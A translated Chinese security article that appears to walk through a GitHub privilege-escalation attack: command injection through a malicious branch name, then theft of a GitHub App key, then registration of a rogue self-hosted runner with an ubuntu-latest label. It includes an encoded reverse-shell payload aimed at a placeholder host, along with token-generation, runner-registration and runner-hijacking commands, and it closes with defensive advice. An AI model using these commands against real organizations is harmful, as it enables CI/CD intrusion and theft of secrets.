【翻译】一种特殊的GitHub权限提升方法
字数 1556 2025-08-22 12:23:13

GitHub权限提升技术:自托管运行器劫持攻击详解

0X00 技术背景

CI/CD基础概念

  • 持续集成(CI): 开发人员提交代码到版本控制仓库后,自动运行构建和测试
  • 持续部署(CD): 在CI基础上,构建和测试通过后自动部署到生产/测试环境
  • GitHub Actions: GitHub提供的CI/CD服务,允许自动化构建、测试和部署流程

关键术语解释

  • ubuntu-latest标签: GitHub Actions工作流程中指定运行环境的标签,表示使用最新版Ubuntu系统
  • 自托管运行器(Self-hosted runner): 用户自己配置和管理的GitHub Actions运行环境,而非使用GitHub提供的托管运行器

0X01 攻击场景分析

初始环境设置

  1. 目标组织有两个仓库:

    • 脆弱仓库:包含易受攻击的工作流程
    • 敏感仓库:包含云基础设施部署的敏感信息(密钥等)
  2. 安全限制:

    • 分支保护启用(required_pull_request_reviews)
    • 需要至少一个批准才能合并PR
    • 强制签名验证
    • 禁止强制推送

漏洞工作流程分析

脆弱工作流程特点:

  • 触发条件:拉取请求评论事件
  • 关键漏洞点:使用用户可控的分支名称直接执行git checkout
  • 攻击向量:通过构造恶意分支名注入命令

示例攻击分支名:

";{echo,c2ggLWkgPiYgL2Rldi90Y3AveC54LngueC84MCAwPiYxCg==}|{base64,-d}|{bash,-i};echo""

解码后实际执行:

sh -i >& /dev/tcp/x.x.x.x/80 0>&1

这将建立一个反向shell连接攻击者服务器

0X02 权限提升技术

获取GitHub App凭证

  1. 通过反向shell获取环境变量:

    • GH_APP_ID: GitHub应用程序ID
    • GH_APP_PVK: GitHub应用程序私钥(RSA格式)
  2. 使用私钥生成访问令牌:

gh token generate --key leaked-private-key.pem --app-id <APP_ID>

关键权限利用

生成的令牌具有organization_self_hosted_runners的write权限,可用于:

  1. 创建组织级运行器注册令牌:
gh api --method POST /orgs/<org>/actions/runners/registration-token
  1. 注册恶意自托管运行器:
  • 使用ubuntu-latest标签注册
  • 企业级运行器将优先处理带有此标签的工作流

运行器劫持工具

使用Python脚本gh-hijack-runner.py实现:

  1. 基本用法:
gh-hijack-runner.py --registration-token <TOKEN> --url https://github.com/<org> --labels ubuntu-latest
  1. 高级用法(已有运行器凭证时):
gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json
  1. 会话管理:
  • 查找现有会话ID:
cat _diag/* | grep -i session
  • 删除会话(使合法运行器崩溃):
gh-hijack-runner.py ... --delete-session-id <SESSION_ID>

0X03 攻击效果

  1. 窃取敏感信息:

    • 云服务密钥
    • SSH私钥
    • 仓库机密
    • 系统GitHub令牌
  2. 绕过安全限制:

    • 无需通过PR审核流程
    • 无需绕过分支保护
    • 当合法用户触发工作流时自动泄露信息

0X04 防御措施

针对组织管理员

  1. 权限最小化原则:

    • 严格审查GitHub App权限
    • 避免授予不必要的organization_self_hosted_runners write权限
  2. 运行器隔离:

    • 为不同敏感级别的工作流使用不同的运行器标签
    • 避免在敏感工作流中使用通用标签如ubuntu-latest
  3. 监控与审计:

    • 定期检查组织中的自托管运行器
    • 监控异常运行器注册活动

针对开发者

  1. 安全编码实践:

    • 避免在GitHub Actions工作流中使用未经验证的用户输入
    • 对动态生成的命令进行严格过滤
  2. 工作流安全审查:

    • 检查工作流中所有使用${ { <context> } }的地方
    • 确保不会将用户可控数据直接用于命令执行
  3. 机密管理:

    • 使用GitHub Secrets存储敏感信息
    • 限制机密在工作流中的访问范围

0X05 技术总结

本技术展示了如何通过以下路径实现权限提升:

  1. 初始漏洞利用 → 获取反向shell
  2. 窃取GitHub App凭证 → 生成访问令牌
  3. 利用组织运行器权限 → 注册恶意运行器
  4. 劫持工作流执行 → 窃取敏感信息

关键点在于滥用ubuntu-latest标签和自托管运行器机制,实现对组织内所有使用该标签的工作流的控制。

GitHub权限提升技术:自托管运行器劫持攻击详解 0X00 技术背景 CI/CD基础概念 持续集成(CI) : 开发人员提交代码到版本控制仓库后,自动运行构建和测试 持续部署(CD) : 在CI基础上,构建和测试通过后自动部署到生产/测试环境 GitHub Actions : GitHub提供的CI/CD服务,允许自动化构建、测试和部署流程 关键术语解释 ubuntu-latest标签 : GitHub Actions工作流程中指定运行环境的标签,表示使用最新版Ubuntu系统 自托管运行器(Self-hosted runner) : 用户自己配置和管理的GitHub Actions运行环境,而非使用GitHub提供的托管运行器 0X01 攻击场景分析 初始环境设置 目标组织有两个仓库: 脆弱仓库:包含易受攻击的工作流程 敏感仓库:包含云基础设施部署的敏感信息(密钥等) 安全限制: 分支保护启用(required_ pull_ request_ reviews) 需要至少一个批准才能合并PR 强制签名验证 禁止强制推送 漏洞工作流程分析 脆弱工作流程特点: 触发条件:拉取请求评论事件 关键漏洞点:使用用户可控的分支名称直接执行git checkout 攻击向量:通过构造恶意分支名注入命令 示例攻击分支名: 解码后实际执行: 这将建立一个反向shell连接攻击者服务器 0X02 权限提升技术 获取GitHub App凭证 通过反向shell获取环境变量: GH_ APP_ ID: GitHub应用程序ID GH_ APP_ PVK: GitHub应用程序私钥(RSA格式) 使用私钥生成访问令牌: 关键权限利用 生成的令牌具有 organization_self_hosted_runners 的write权限,可用于: 创建组织级运行器注册令牌: 注册恶意自托管运行器: 使用 ubuntu-latest 标签注册 企业级运行器将优先处理带有此标签的工作流 运行器劫持工具 使用Python脚本 gh-hijack-runner.py 实现: 基本用法: 高级用法(已有运行器凭证时): 会话管理: 查找现有会话ID: 删除会话(使合法运行器崩溃): 0X03 攻击效果 窃取敏感信息: 云服务密钥 SSH私钥 仓库机密 系统GitHub令牌 绕过安全限制: 无需通过PR审核流程 无需绕过分支保护 当合法用户触发工作流时自动泄露信息 0X04 防御措施 针对组织管理员 权限最小化原则: 严格审查GitHub App权限 避免授予不必要的 organization_self_hosted_runners write权限 运行器隔离: 为不同敏感级别的工作流使用不同的运行器标签 避免在敏感工作流中使用通用标签如 ubuntu-latest 监控与审计: 定期检查组织中的自托管运行器 监控异常运行器注册活动 针对开发者 安全编码实践: 避免在GitHub Actions工作流中使用未经验证的用户输入 对动态生成的命令进行严格过滤 工作流安全审查: 检查工作流中所有使用 ${ { <context> } } 的地方 确保不会将用户可控数据直接用于命令执行 机密管理: 使用GitHub Secrets存储敏感信息 限制机密在工作流中的访问范围 0X05 技术总结 本技术展示了如何通过以下路径实现权限提升: 初始漏洞利用 → 获取反向shell 窃取GitHub App凭证 → 生成访问令牌 利用组织运行器权限 → 注册恶意运行器 劫持工作流执行 → 窃取敏感信息 关键点在于滥用 ubuntu-latest 标签和自托管运行器机制,实现对组织内所有使用该标签的工作流的控制。